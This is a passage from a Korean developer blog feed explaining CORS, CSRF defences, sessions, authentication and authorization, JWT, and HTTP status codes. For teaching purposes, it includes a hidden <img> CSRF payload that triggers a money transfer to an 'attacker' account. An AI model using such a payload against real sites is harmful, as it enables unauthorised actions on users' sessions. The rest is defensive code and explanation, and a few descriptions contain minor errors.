HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://myshop.com
Access-Control-Allow-Methods: GET,POST
Access-Control-Allow-Headers: Content-Type,Authorization
Access-Control-Allow-Credentials: true
Content-Type: application/json

{ &quot;data&quot;: [...] }</code></pre></br>

<blockquote>
<p><code>Origin</code> 헤더로 출처를 알리고, 서버가 <code>Access-Control-Allow-*</code> 헤더로 허용 범위를 명시합니다</p>
</blockquote>
<blockquote>
<p>💡 개발 시 * 와일드카드를 무분별하게 사용하면 보안이 약해집니다. 꼭 필요한 도메인만 명시하세요.</p>
</blockquote>
</br>



<h1 id="2-csrfcross-site-request-forgery-공격">2. CSRF(Cross-Site Request Forgery) 공격</h1>
<p>CSRF 공격은 사용자가 로그인한 세션을 이용해, 공격자가 의도한 동작을 실행하도록 만드는 기술입니다. 예를 들어, <code>&lt;img src=&quot;https://bank.example.com/transfer?amount=1000&amp;to=attacker&quot;/&gt;</code> 같은 코드를 몰래 삽입하면, 사용자가 페이지를 방문하는 순간 브라우저가 자동으로 해당 요청을 보냅니다.</p>
<p>이 공격을 막으려면, 서버가 “이 요청이 정말 내 애플리케이션에서 온 것인가?”를 확인해야 합니다. 가장 대표적인 방법이 <strong>CSRF 토큰</strong>입니다. 로그인 시 서버는 세션과 별도로 긴 무작위 문자열(CSRF 토큰)을 생성해 사용자에게 전달합니다. 사용자가 폼을 제출하거나 AJAX 요청을 보낼 때 이 토큰을 함께 전송하게 하고, 서버는 요청의 토큰과 세션에 저장된 토큰을 비교합니다. 일치하면 정상, 그렇지 않으면 거부하는 것이죠.</p>
<p>또 다른 방법은 <strong>SameSite 쿠키 설정</strong>입니다. 쿠키에 <code>SameSite=Lax</code> 또는 <code>Strict</code> 속성을 넣으면, 외부 출처에서 자동으로 쿠키가 전송되지 않아 CSRF 공격을 근본적으로 방지할 수 있습니다.</p>
<p>마지막으로, AJAX 요청에는 반드시 커스텀 헤더(X-CSRF-Token 등)를 추가하도록 강제하고, 서버는 해당 헤더가 없으면 요청을 차단하는 전략도 있습니다. 이 방식은 단순 GET 요청으로는 흉내 낼 수 없는 보안 장벽을 만듭니다.</p>
<p>실제 코드 동작 흐름을 보며 더 자세히 알아보도록 하겠습니다.</p>
<h3 id="공격-시나리오-실제-코드-동작-흐름">공격 시나리오 (실제 코드 동작 흐름)</h3>
<ol>
<li>사용자가 <code>https://myshop.com</code>에 로그인해 세션 쿠키를 저장합니다.</li>
<li>같은 브라우저에서 공격자가 만든 악성 페이지를 방문합니다.</li>
<li>HTML에 숨겨진 <code>&lt;img&gt;</code> 태그나 <code>&lt;form&gt;</code> 자동 제출 스크립트가 포함되어 있어, 클릭 없이도 다음과 같은 요청이 전송됩니다<pre><code>&lt;img src=&quot;https://myshop.com/api/transfer?amount=1000&amp;to=hacker&quot; style=&quot;display:none;&quot; /&gt;</code></pre></li>
<li>브라우저가 세션 쿠키를 포함해 요청을 보내고, 서버는 이를 정당한 요청으로 인식해 이체를 실행합니다.</li>
</ol>
</br>

<h3 id="방어-기법">방어 기법</h3>
<h4 id="1-csrf-토큰-사용-synchronizer-token-pattern">1. CSRF 토큰 사용 (Synchronizer Token Pattern)</h4>
<ul>
<li><p>로그인 시 서버는 세션에 <code>csrfToken</code>을 저장하고, 페이지 렌더링 시 <code>&lt;input type=&quot;hidden&quot; name=&quot;csrfToken&quot; value=&quot;{token}&quot; /&gt;</code> 형태로 삽입합니다.</p>
</li>
<li><p>서버는 POST/PUT/DELETE 요청 시, 요청 바디나 헤더(<code>X-CSRF-Token</code>)에 담긴 토큰과 세션의 토큰을 비교합니다.</p>
</li>
</ul>
<pre><code>// 서버 측 (Express.js)
app.get(&#39;/form&#39;, (req, res) =&gt; {
  const token = generateSecureToken();
  req.session.csrfToken = token;
  res.render(&#39;form&#39;, { csrfToken: token });
});

app.post(&#39;/transfer&#39;, (req, res) =&gt; {
  if (req.body.csrfToken !== req.session.csrfToken) {
    return res.status(403).send(&#39;CSRF token mismatch&#39;);
  }
  // 정상 처리 로직
});</code></pre><h4 id="2-samesite-쿠키-설정">2. SameSite 쿠키 설정</h4>
<ul>
<li>쿠키에 <code>SameSite=Lax</code> 또는 <code>Strict</code> 속성을 추가하면, 크로스 사이트 컨텍스트에서 쿠키가 전송되지 않습니다.</li>
</ul>
<p><code>Set-Cookie: sessionId=XYZ; HttpOnly; Secure; SameSite=Strict</code></p>
<h4 id="3-custom-header-확인">3. Custom Header 확인</h4>
<ul>
<li>AJAX 요청에만 X-Requested-With: XMLHttpRequest 같은 커스텀 헤더를 포함하고, 서버는 이 헤더가 없으면 요청을 거부합니다.</li>
</ul>
<pre><code>fetch(&#39;/api/secure&#39;, {
  method: &#39;POST&#39;,
  headers: { &#39;X-Requested-With&#39;: &#39;XMLHttpRequest&#39; }
});</code></pre><h4 id="4-refererorigin-헤더-검증">4. Referer/Origin 헤더 검증</h4>
<ul>
<li>서버에서 <code>req.get(&#39;Origin&#39;)</code> 혹은 <code>req.get(&#39;Referer&#39;)</code>를 확인해, 허용된 도메인이 아니면 요청을 차단합니다.</li>
</ul>
<h1 id="samesite-쿠키와-토큰-전략-심화">SameSite 쿠키와 토큰 전략 심화</h1>
<p><strong>SameSite</strong> 속성은 크로스 사이트 요청에서 쿠키 전송을 제어하는 중요한 수단입니다. <code>Strict</code>로 설정하면 외부 링크나 폼 전송을 포함한 모든 크로스 사이트 요청에서 쿠키를 전송하지 않고, <code>Lax</code>는 안전한 GET이나 탭 전환에서만 쿠키를 허용합니다. <code>None</code>을 사용하려면 반드시 <code>Secure</code> 속성을 함께 추가해 HTTPS 환경에서만 동작하도록 해야 합니다.</p>
<blockquote>
<p>Strict: 모든 크로스 사이트 요청에서 쿠키 전송 차단 (가장 안전)
Lax: 안전한 HTTP 메서드(GET, HEAD, OPTIONS)만 쿠키 전송 허용
None: 모든 요청에 쿠키 전송 허용 (반드시 Secure와 함께 사용)</p>
</blockquote>
<p>한편, <strong>Double Submit Cookie</strong> 방식은 CSRF 토큰을 쿠키와 요청 본문 또는 헤더에 동시에 포함해 검증합니다. 쿠키에 저장된 토큰과 요청에 담긴 토큰이 일치해야만 서버가 요청을 처리하죠. 이 방법은 서버에 별도 저장소를 두지 않고도 CSRF 방어를 할 수 있는 장점이 있습니다.</p>
<pre><code>// 서버:
const token = generateSecureToken();
res.cookie(&#39;csrfToken&#39;, token, { SameSite: &#39;Lax&#39;, Secure: true });
res.send({ csrfToken: token });

// 클라이언트:
const token = getCookie(&#39;csrfToken&#39;);
fetch(&#39;/update&#39;, {
  method: &#39;POST&#39;,
  credentials: &#39;include&#39;,
  headers: { &#39;X-CSRF-Token&#39;: token }
});

// 서버 검증:
if (req.cookies.csrfToken !== req.get(&#39;X-CSRF-Token&#39;)) {
  return res.status(403);
}</code></pre><p>마지막으로, <strong>Origin/Referer</strong> 헤더 검증도 유용합니다. HTTPS 사이트에서는 브라우저가 Origin 또는 Referer 헤더를 항상 보내므로, 서버는 이 값을 확인해 허용된 도메인에서 왔는지 검사할 수 있습니다. 다만, 프라이버시 모드나 프록시 사용 시 헤더가 누락될 수 있어 보완책이 필요합니다.</p>
<pre><code>app.use((req, res, next) =&gt; {
  const origin = req.get(&#39;Origin&#39;) || req.get(&#39;Referer&#39;);
  if (!origin || !origin.startsWith(&#39;https://myshop.com&#39;)) {
    return res.status(403).send(&#39;Forbidden&#39;);
  }
  next();
});</code></pre>]]></description>
        </item>
        <item>
            <title><![CDATA[인증·인가 & 세션 관리 A to Z]]></title>
            <link>https://velog.io/@kylie_03/%EC%9D%B8%EC%A6%9D%EC%9D%B8%EA%B0%80-%EC%84%B8%EC%85%98-%EA%B4%80%EB%A6%AC-A-to-Z</link>
            <guid>https://velog.io/@kylie_03/%EC%9D%B8%EC%A6%9D%EC%9D%B8%EA%B0%80-%EC%84%B8%EC%85%98-%EA%B4%80%EB%A6%AC-A-to-Z</guid>
            <pubDate>Wed, 16 Jul 2025 23:14:58 GMT</pubDate>
            <description><![CDATA[<h1 id="들어가기-전">들어가기 전</h1>
<p>내 장바구니에 담긴 물건만 내가 볼 수 있다고 믿고 쇼핑몰에 로그인했는데, 갑자기 다른 사람의 주문 내역이 쭉 보인다면 얼마나 당황스러울까요? 이런 끔찍한 상황은 단순한 화면 오류가 아니라, “이 사용자가 진짜 누구인지(Authentication,인증)” 그리고 “그 사용자에게 이 데이터를 보여줘도 괜찮은지(Authorization,인가)”를 결정하는 로직이 제대로 작동하지 않았다는 증거입니다. 게다가 한 번 로그인하면 페이지를 옮겨도 계속 내 계정으로 머물러 있어야 하는데, 이 ‘로그인 상태 유지’를 책임지는 것이 바로 세션(Session)입니다. 이처럼 누가 누구인지 확인하고, 그 사람에게 무엇을 허용할지를 결정하는 인증·인가의 원리부터, 로그인 상태를 안전하게 관리하는 세션과 쿠키의 비밀까지 알아보도록 하겠습니다.</p>
<h1 id="1-세션-vs-쿠키-브라우저의-메모리와-서버의-기록실">1. 세션 vs 쿠키: 브라우저의 메모리와 서버의 기록실</h1>
<p>웹 애플리케이션에서 로그인 버튼을 누르는 순간, <strong>브라우저</strong>와 <strong>서버</strong>는 각자의 역할을 시작합니다.</p>
<h3 id="쿠키cookie-브라우저의-작은-메모장">쿠키(Cookie): 브라우저의 작은 메모장</h3>
<p>브라우저는 ‘쿠키’라는 간단한 메모장에 <strong>세션 ID</strong>와 같은 인증용 식별자를 저장합니다. 이 메모장은 사용자의 기기에 안전하게 보관되며, 이후 동일한 도메인으로 요청을 보낼 때마다 브라우저가 자동으로 서버에 함께 전송합니다.  </p>
<ul>
<li>쿠키에 담기는 정보는 최소화해야 합니다(세션 ID만!).  </li>
<li>주요 보안 속성(<code>HttpOnly</code>, <code>Secure</code>, <code>SameSite</code>)을 적절히 설정하면 XSS, CSRF, 중간자 공격으로부터 어느 정도 방어할 수 있습니다.  </li>
<li>쿠키 하나로 “나는 이미 로그인 상태”라는 사실을 서버에 알려주는 역할을 합니다.</li>
</ul>
<blockquote>
<h3 id="cookie-주요속성">Cookie 주요속성</h3>
</blockquote>
<ul>
<li>Name / Value : 식별자와 값</li>
<li>Domain / Path : 어느 요청에 포함될 지 범위 지정</li>
<li>Expires / Max-Age : 쿠키 유효 기간 지정 -&gt; 세션 타임 아웃 설정</li>
<li>HttpOnly : 자바스크립트 접근 차단 -&gt; XSS 공격 완화</li>
<li>Secure : HTTPS 연결에서만 전송 -&gt; 중간자 공격 방어</li>
<li>SameSite : CSRF 방어 정책</li>
</ul>
</br>


<h3 id="세션session-서버의-기록실">세션(Session): 서버의 기록실</h3>
<p>서버는 클라이언트가 보낸 세션 ID를 키(Key) 삼아, 내부의 <strong>세션 저장소</strong>에서 사용자별 상태 정보(프로필, 권한, 로그인 시간 등)를 관리합니다. 세션 저장소는 메모리나 Redis, 데이터베이스 등 어디든 될 수 있고, 다음과 같은 흐름으로 작동합니다:  </p>
<ol>
<li>사용자가 로그인 → 서버가 고유 세션 ID 생성  </li>
<li>서버는 세션 저장소에 <code>{ sessionId: { userId, roles, ... } }</code> 형태로 저장 </li>
<li>브라우저가 이후 요청에 세션 ID 쿠키를 자동 포함  </li>
<li>서버는 세션 ID로 사용자를 식별하고, 저장된 상태 정보를 꺼내서 한 번만 로그인해도 계속 인증된 상태 유지  </li>
</ol>
<hr>
<p><strong>정리</strong>  </p>
<ul>
<li><strong>쿠키</strong>는 클라이언트(브라우저)에 저장되는 ‘인증용 키’  </li>
<li><strong>세션</strong>은 서버에 저장되는 ‘인증된 사용자 정보’</li>
</ul>
<blockquote>
<p>💡 쿠키 : 놀이공원에서 받는 손목 밴드로 &quot;입장권이 유효하다&quot;는 표시
세션 : 그 손목밴드를 보고 &quot;이 손목밴드는 VIP 티켓이야&quot; 혹은 &quot;어린이용 입장권이야&quot; 같은 상세 정보를 관리</p>
</blockquote>
<hr>
<h1 id="2-인증-authentication--신원-확인의-모든-것">2. 인증 (Authentication) : 신원 확인의 모든 것</h1>
<p>인증은 &quot;당신은 누구인가요&quot;라는 질문에 답하는 과정입니다. 아이디, 비밀번호,OTPm 소셜 로그인 등 다양한 방법으로 사용자의 신원을 검증하죠, 인증이 제대로 작동하지 않으면 악의적인 사용자가 타인의 계정에 접근해 개인정보를 탈취하거나 불법 행위를 할 수 있습니다.</p>
<p><img src="https://velog.velcdn.com/images/kylie_03/post/d2d7387d-d7dc-4ef7-89ca-050a9c08be4c/image.png" alt=""></p>
<p>인증하는 방식에는 크게 세션(Session), JWT 방식이 있습니다.</p>
<h3 id="21-세션-기반-인증">2.1 세션 기반 인증</h3>
<ol>
<li>클라이언트 : <code>POST /login</code> with {username, password}</li>
<li>서버 : 사용자 정보 검증 -&gt; 성공 시 세션 ID 생성 및 <code>Set-Cookie: sessinId=XYZ;</code> <code>HttpOnly</code> 응답</li>
<li>브라우저 : 쿠키에 세션 ID 저장</li>
<li>이후 요청 : 자동으로 <code>Cookie: sessionId=XYZ</code> 포함</li>
<li>서버 : 세션 저장소에서 ID 조회 후 사용자 확인<blockquote>
<p>💡 비밀번호는 해시 (SHA-256, bcrypt 등)로 저장하고, 로그인 시 비교해야 안전합니다.</p>
</blockquote>
</li>
</ol>
</br>

<h3 id="22-jwt-기반-인증">2.2 JWT 기반 인증</h3>
<ol>
<li>클라이언트 : <code>Post /login</code> with {username, password}</li>
<li>서버 : 사용자 정보 검증 -&gt; 성공 시 JWT 생성 후 응답 본문 또는 <code>Authorization</code> 헤더 (<code>Bearer &lt;token&gt;</code>)에 토큰 전달</li>
<li>클라이언트 : 로컬 스토리지나 쿠키 (<code>HttpOnly</code>, <code>Secure</code>)에 토큰 저장</li>
<li>이후 요청 : <code>Authorization: Bearer &lt;token&gt;</code> 헤더 포함</li>
<li>서버 : 토큰 유효성(서명, 만료) 검증 후 사용자 정보 추출<blockquote>
<p>💡 JWT는 무상태(stateless)로 확장성이 뛰어나지만, 탈취 시 위험하므로 <code>Secure</code>, <code>HttpOnly</code> 속성과 짧은 만료 시간을 권장합니다.</p>
</blockquote>
</li>
</ol>
<hr>
<h1 id="3-인가-authorization--권한-관리의-정석">3. 인가 (Authorization) : 권한 관리의 정석</h1>
<p>인가란 사용자가 &#39;어떤 행동&#39;을 할 수 있는지를 결정하는 과정입니다. 한 집에 손님을 초대하면 현과문을 열어주는 것이 <strong>인증</strong>이라면, 집 안 어디까지 들어갈 수 있는지를 정하는 것이 <strong>인가</strong>입니다. 예를 들어, 손님에게 거실은 모두 개방하지만, 침실이나 금고가 있는 방은 금지 구역으로 설정할 수 있습니다. 인가를 설정하는 방법에는 <strong>역할 기반(RBAC)</strong>, <strong>속성 기반 (ABAC)</strong>, <strong>정책 기반 (Policy-Based Access Contorl)</strong> 이 있습니다.
각각의 특징에 대해서 한 번 알아볼까요?</p>
<h3 id="31-역할기반-인가-rbac-role-based-access-control">3.1 역할기반 인가 (RBAC, Role-Based Access Control)</h3>
<p>역할기반 인가는 회사 조직도처럼 사람마다 역할(role)을 부여하는 방식입니다. 예를 들면 <code>관리자(Admin)</code>은 모든 메뉴에 접속이 가능하고, <code>일반 사용자 (User)</code> 는 내 정보만 조회 가능하도록 하는 거죠. 설계가 단순하고 이해하기 쉽다는 장점은 있지만 역할이 많이질 수록 관리가 복잡해지는 단점이 있습니다.</p>
</br>

<h3 id="32-속성기반-인가-abac-attribute-based-access-control">3.2 속성기반 인가 (ABAC, Attribute-Based Access Control)</h3>
<p>속성기반 인가는 사용자, 리소스, 환경의 속성(Attribute)을 조합해 권한을 결정합니다.
예를 들면 나이는 18세 이상이면서 구독 등급은 프리미엄인 사용자만 동영상 시청 가능 이렇게 설정하는 거죠. 보통 조건문 형태로 코드나 미들웨어 안에 직접 구현 되는 경우가 많습니다. ABAC는 세밀한 정책 운영이 가능하지만 정책 작성과 유지보수가 다소 까다로울 수 있습니다.</p>
</br>

<h3 id="33-정책기반-인가-policy-based-access-control">3.3 정책기반 인가 (Policy-Based Access Control)</h3>
<p>정책기반 인가는 중앙 정책 엔진 (Policy Engine)을 두고, 선언형(Declarative) 규칙을 정의해 런타임에 평가합니다. 예를 들면 휴가 중인 직원은 업무 시스템 접근 불가와 같은 동적인 규칙을 적용하는데요, 코드 수정 없이 수정 가능하고 중앙에서 일관된 정책을 관리, 버전 관리에는 뛰어나지만 정책 엔진 도입과 학습에 시간이 필요하게 됩니다. </p>
<pre><code>- id: forbid_on_leave
  description: &quot;휴가 중인 직원은 시스템 접근 금지&quot;
  target:
    attributes:
      user.status: &quot;on_leave&quot;
  effect: &quot;deny&quot;
</code></pre></br>

<blockquote>
<p>💡 작은 프로젝트나 단순 서비스라면 RBAC을, 다양한 조건과 복잡한 요구사항이 있으면 ABAC나 , 정책 기반 방식을 고려해야합니다.</p>
</blockquote>
<hr>
<h1 id="4-세션-보안--공격-시나리오-방어-전략">4. 세션 보안 : 공격 시나리오 방어 전략</h1>
<p>웹 서비스의 세션은 사용자 경험을 매끄럽게 하는 중요한 기능이지만, 이를 노리는 다양한 공격 기법이 있습니다. 네 가지 주요 세션 공격과 대응 방안에 대해서 알아보겠습니다.</p>
<h3 id="41-세션-고정-session-fixation">4.1 세션 고정 (Session Fixation)</h3>
<blockquote>
<p>공격자가 미리 발급받은 세션 Id를 피해자에게 전달하여, 피해자가 로그인하면 공격자가 같은 세션을 통해 접근.</p>
</blockquote>
<p>대응 방안 </p>
<ol>
<li>로그인 성공 시 기존 세션을 무효화하고 항상 새로운 세션 ID를 발급합니다.</li>
<li><code>SameSite=Lax</code> 또는 <code>Strict</code>로 외부 사이트에서 쿠키가 전송되지 않도록 설정합니다.</li>
</ol>
</br>

<h3 id="42-세션-탈취-session-hijacking">4.2 세션 탈취 (Session Hijacking)</h3>
<blockquote>
<p>공격자가 네트워크 스니핑, XSS 등을 통해 사용자의 세션 쿠키를 훔쳐서, 그 쿠키를 사용해 로그인 우회</p>
</blockquote>
<p>대응 방안 </p>
<ol>
<li><code>HttpOnly</code> 속성으로 자바스크립트가 쿠키에 접근하지 못하도록 차단하여 XSS 공격을 원화합니다.</li>
<li><code>Secure</code> 속성으로 HTTPS 연결에서만 쿠키가 전송되게 합니다.</li>
<li>Content Security Policy(CSP)와 철저한 입력 검증으로 XSS 근본 방어를 강화합니다.</li>
</ol>
</br>

<h3 id="43-세션-재생-session-replay">4.3 세션 재생 (Session Replay)</h3>
<blockquote>
<p>공격자가 이전에 가로챈 세션 ID나 요청 데이터를 재전송하여 세션을 재 사용.
예) 로그아웃 이후에도 동일한 요청을 반복하면 여전히 유효한 세션으로 인식 될 수 도 있음</p>
</blockquote>
<p>대응 방안 </p>
<ol>
<li><strong>토큰 일회용성(Nonce)</strong> 을 도입해, 각 요청에 고유 토큰을 포함하고 검증 후 무효화합니다.</li>
<li>세션 사용 이력을 기록하고, 예기치 않은 재전송 요청이 감지되면 세션을 종료합니다.</li>
</ol>
</br>

<h3 id="44-세션-사이드재킹session-sidejacking">4.4 세션 사이드재킹(Session Sidejacking)</h3>
<blockquote>
<p>공격자가 공개 Wi-fi같은 안전하니 않은 네트워크 패킷 스니핑 도구를 사용해 세션 쿠키를 가로채로 이를 악용</p>
</blockquote>
<p>대응 방안  </p>
<ol>
<li>모든 트랙픽을 HTTPS로 암호화하여 중간자 (Main-in-the-Middle) 공격을 방지합니다.</li>
<li>세션 타임아웃(유효 시간)을 짧게 설정하여, 탈취된 세션을 사용할 수 있는 시간을 최소화 합니다. </li>
</ol>
<blockquote>
<p>💡 중요한 API호출 (환전, 결제 등)에는 재인증(비밀번호 재입력, OTP)을 요구해 보안을 한층 강화하세요.</p>
</blockquote>
</br>

<h1 id="부록---jwt-json-web-token">부록 - JWT (Json Web Token)</h1>
<h3 id="도입-배경">도입 배경</h3>
<p>전통적인 세션 기반 인증은 서버에 사용자 상태를 저장하고 관리하기 때문에, 서버 스케일링 (서버 추가 확장)이 어려울 수 있습니다. 특히 마이크로서비스 아키텍처나 서버리스 환경에서는 무상태(stateless) 인증이 더 유연하죠. 이때 등장한 것이 바로 JWT입니다. JWT는 <strong>서버가 상태를 저장하지 않아도</strong>, 자체적으로 사용자 정보를 담은 토큰을 클라이언트에 보내고, 매 요청에 그 토큰이 포함되어 인증 정보를 검증합니다.</p>
<h3 id="jwt-구조">JWT 구조</h3>
<p>JWT는 세 부분으로 구성된 문자열입니다.
<code>HEADER.PAYLOAD.SIGNATURE</code></p>
</br> 

<h4 id="header헤더">HEADER(헤더)</h4>
<ul>
<li>토큰 타입 (<code>typ: JWT</code>)과 서명 알고리즘 (<code>alg: HS256</code> 등 ) 정보를 담고 있습니다.</li>
<li>예 <pre><code>{
&quot;alg&quot;: &quot;HS256&quot;,
&quot;typ&quot;: &quot;JWT&quot;
}</code></pre></li>
</ul>
</br>

<h4 id="payload페이로드">PAYLOAD(페이로드)</h4>
<ul>
<li>사용자 정보 (클레임, claims)를 포함합니다.
예: <code>sub</code>(주제, 사용자 ID), <code>iat</code>(발급 시간), <code>exp</code> (만료 시간), <code>roles</code> (권한)</li>
<li>예<pre><code>{
&quot;sub&quot;: &quot;user123&quot;,
&quot;iat&quot;: 1615123456,
&quot;exp&quot;: 1615127056,
&quot;roles&quot;: [&quot;User&quot;,&quot;Admin&quot;]
}</code></pre></li>
</ul>
</br>

<h4 id="signature서명">SIGNATURE(서명)</h4>
<p>1.클라이언트가 자격 증명(아이디·비밀번호)을 서버에 전송합니다.
2. 서버는 검증 후, 페이로드에 클레임을 담아 JWT를 생성합니다.
3. 서버는 JWT를 클라이언트에 응답으로 전달합니다(Authorization 헤더 또는 응답 바디).
4. 클라이언트는 JWT를 로컬스토리지나 안전한 쿠키에 저장합니다.
5. 이후 요청 시, 클라이언트는 <code>Authorization: Bearer &lt;JWT&gt;</code> 헤더를 포함하여 요청합니다.
6. 서버는 토큰 서명과 만료 시간을 검증한 뒤, 페이로드의 클레임으로부터 사용자 정보를 추출하여 인증을 수행합니다.</p>
</br>

<h4 id="장단점-및-주의사항">장단점 및 주의사항</h4>
<p>장점:</p>
<ul>
<li>무상태(stateless): 서버에 세션 저장 필요 없음</li>
<li>확장성: 여러 서버 간 토큰만 공유하면 됨</li>
<li>유연성: 클레임에 필요한 다양한 정보를 담아 전달 가능</li>
</ul>
<p>단점:</p>
<ul>
<li>토큰 탈취 위험: 탈취될 경우 만료 전까지 악용될 수 있음</li>
<li>토큰 회수 어렵다: 블랙리스트나 단축된 만료 시간, 리프레시 토큰 전략 필요</li>
<li>토큰 크기: 세션 ID보다 크기가 커 네트워크 오버헤드 발생 가능</li>
</ul>
<blockquote>
<p>💡 JWT를 안전하게 사용하려면, 토큰 저장 위치(HttpOnly 쿠키 권장), 짧은 만료 시간, 리프레시 토큰, HTTPS 적용을 꼭 고려하세요.</p>
</blockquote>
]]></description>
        </item>
        <item>
            <title><![CDATA[웹 요청 정복 : HTTP 구조부터 에러 코드까지]]></title>
            <link>https://velog.io/@kylie_03/%EC%9B%B9-%EC%9A%94%EC%B2%AD-%EC%A0%95%EB%B3%B5-HTTP-%EA%B5%AC%EC%A1%B0%EB%B6%80%ED%84%B0-%EC%97%90%EB%9F%AC-%EC%BD%94%EB%93%9C%EA%B9%8C%EC%A7%80</link>
            <guid>https://velog.io/@kylie_03/%EC%9B%B9-%EC%9A%94%EC%B2%AD-%EC%A0%95%EB%B3%B5-HTTP-%EA%B5%AC%EC%A1%B0%EB%B6%80%ED%84%B0-%EC%97%90%EB%9F%AC-%EC%BD%94%EB%93%9C%EA%B9%8C%EC%A7%80</guid>
            <pubDate>Tue, 15 Jul 2025 23:05:29 GMT</pubDate>
            <description><![CDATA[<h2 id="들어가기-전">들어가기 전</h2>
<p>웹 개발의 시작은 HTTP(HyperText Transfer Protocol)를 이해하는 것에서부터 시작됩니다. HTTP는 클라이언트와 서버가 서로 &quot;말&quot;을 주고받는 약속이자 규칙인데요, 이번 글에서는 HTTP의 기본 구조와 동작 원리, 그리고 웹 요청-응답 과정에서 마주하게 되는 다양한 상태 코드(status code)를 함께 살펴보겠습니다. 간단한 예시와 다이어그램을 통해 HTTP가 어떻게 동작하는지 감을 잡고, 에러 상황별 발생 원인과 해결책을 이해하면 웹 서비스를 설계·개발·디버깅할 때 많은 도움이 될 거예요.</p>
<hr>
<h2 id="1-http의-구조와-동작-원리">1. HTTP의 구조와 동작 원리</h2>
<h3 id="1-1-클라이언트-서버-모델">1-1. 클라이언트-서버 모델</h3>
<p>HTTP는 웹 브라우저(클라이언트)와 웹 서버가 데이터를 주고받는 통신 규약입니다. 클라이언트가 서버에 요청(request)을 보내면, 서버는 그에 대한 응답(response)을 돌려줍니다.</p>
<h3 id="1-2-통신-과정-요약">1-2. 통신 과정 요약</h3>
<p>아래 다이어그램은 DNS 조회부터 TCP 연결, HTTP 요청·응답, 그리고 연결 종료 또는 재사용까지의 전체 흐름을 보여줍니다.</p>
<p><img src="https://velog.velcdn.com/images/kylie_03/post/ef453566-0f3e-4c83-adb3-a9fa72437dd0/image.png" alt=""></p>
<ol>
<li><p><strong>DNS 조회</strong></p>
<ul>
<li>도메인 이름(예: <code>www.example.com</code>)을 IP 주소로 변환하기 위해 DNS 서버에 질의합니다.</li>
</ul>
</li>
<li><p><strong>TCP 연결</strong></p>
<ul>
<li>클라이언트와 서버 간에 TCP 3-way 핸드셰이크(<code>SYN</code>→<code>SYN-ACK</code>→<code>ACK</code>)를 수행하여 안정적인 전송 채널을 만듭니다.</li>
</ul>
</li>
<li><p><strong>HTTP 요청</strong> (<code>GET /index.html HTTP/1.1</code> 예시)</p>
<ul>
<li><p>요청 메시지 구조:</p>
<ul>
<li><strong>Start Line</strong>: 프로토콜 버전, 상태코드, 상테 메시지 (<code>GET /index.html HTTP/1.1</code>)</li>
<li><strong>Headers</strong>: 응답 메타 정보 (예: <code>Host: www.example.com</code>, <code>User-Agent: ...</code>, <code>Accept: ...</code>)</li>
<li><strong>Empty Line</strong>: 헤더와 Body 구분</li>
<li><strong>Body</strong>: POST나 PUT 요청 시 전송할 데이터 (HTML, JSON 등)</li>
</ul>
</li>
</ul>
</li>
<li><p><strong>HTTP 응답</strong> (<code>HTTP/1.1 200 OK</code> 예시)</p>
<ul>
<li>서버가 요청을 처리한 뒤 응답 메시지를 반환하고, Body에 리소스(HTML, JSON 등)를 담습니다.</li>
</ul>
</li>
<li><p><strong>연결 종료/재사용</strong></p>
<ul>
<li>기본적으로 HTTP/1.1은 <code>Connection: keep-alive</code>로 설정되어 동일한 TCP 연결을 재사용합니다.</li>
<li>필요 시 <code>Connection: close</code>로 연결을 종료하여 리소스를 해제합니다.</li>
</ul>
</li>
</ol>
<hr>
<h2 id="2-상태-코드status-code별-이해">2. 상태 코드(Status Code)별 이해</h2>
<h3 id="21-2xx-성공-응답">2.1 2xx: 성공 응답</h3>
<blockquote>
<p>서버가 클라이언트의 요청을 성공적으로 처리했음을 의미합니다.</p>
</blockquote>
<table>
<thead>
<tr>
<th>코드</th>
<th>설명</th>
<th>예시 상황 &amp; 해결책</th>
</tr>
</thead>
<tbody><tr>
<td><code>200 OK</code></td>
<td>요청 성공</td>
<td><strong>예시</strong>: <code>GET</code> 요청 후 정상 리소스 반환<br><strong>해결</strong>: 클라이언트 로직 검증, API 문서 확인</td>
</tr>
<tr>
<td><code>201 Created</code></td>
<td>리소스 생성</td>
<td><strong>예시</strong>: <code>POST /users</code>로 신규 사용자 생성<br><strong>해결</strong>: <code>Location</code> 헤더의 새 리소스 확인</td>
</tr>
<tr>
<td><code>202 Accepted</code></td>
<td>비동기 처리</td>
<td><strong>예시</strong>: 대용량 작업 큐 등록<br><strong>해결</strong>: 상태 체크 API 폴링 또는 Webhook 활용</td>
</tr>
<tr>
<td><code>204 No Content</code></td>
<td>본문 없는 성공</td>
<td><strong>예시</strong>: <code>DELETE /items/123</code> 삭제 완료<br><strong>해결</strong>: UI 리스트 갱신 반영</td>
</tr>
</tbody></table>
<h3 id="22-3xx-리다이렉트">2.2 3xx: 리다이렉트</h3>
<blockquote>
<p>클라이언트를 다른 URL로 안내합니다.</p>
</blockquote>
<table>
<thead>
<tr>
<th>코드</th>
<th>설명</th>
<th>예시 상황 &amp; 해결책</th>
</tr>
</thead>
<tbody><tr>
<td><code>301 Moved Permanently</code></td>
<td>영구 이동</td>
<td><strong>예시</strong>: 도메인 A → B 리다이렉트<br><strong>해결</strong>: 캐시 삭제, 검색엔진 재색인 요청</td>
</tr>
<tr>
<td><code>302 Found</code></td>
<td>임시 이동</td>
<td><strong>예시</strong>: 유지보수 페이지 임시 안내<br><strong>해결</strong>: 원래 URL 자동 재접근</td>
</tr>
<tr>
<td><code>303 See Other</code></td>
<td>POST→GET 리디렉션</td>
<td><strong>예시</strong>: 폼 제출 후 결과 페이지 이동<br><strong>해결</strong>: 클라이언트 GET 요청 수행</td>
</tr>
<tr>
<td><code>307 Temporary Redirect</code></td>
<td>임시 이동(메서드 유지)</td>
<td><strong>예시</strong>: A/B 테스트용 임시 서버<br><strong>해결</strong>: 원 메서드 그대로 재요청</td>
</tr>
<tr>
<td><code>308 Permanent Redirect</code></td>
<td>영구 이동(메서드 유지)</td>
<td><strong>예시</strong>: API 버전 업그레이드 영구 리다이렉트<br><strong>해결</strong>: 클라이언트 코드 업데이트</td>
</tr>
</tbody></table>
<h3 id="23-4xx-클라이언트-에러">2.3 4xx: 클라이언트 에러</h3>
<blockquote>
<p>클라이언트의 잘못된 요청으로 인해 처리할 수 없음을 나타냅니다.</p>
</blockquote>
<table>
<thead>
<tr>
<th>코드</th>
<th>설명</th>
<th>예시 상황 &amp; 해결책</th>
</tr>
</thead>
<tbody><tr>
<td><code>400 Bad Request</code></td>
<td>잘못된 요청</td>
<td><strong>예시</strong>: 필수 필드 누락, 잘못된 JSON<br><strong>해결</strong>: 요청 데이터 검증 추가</td>
</tr>
<tr>
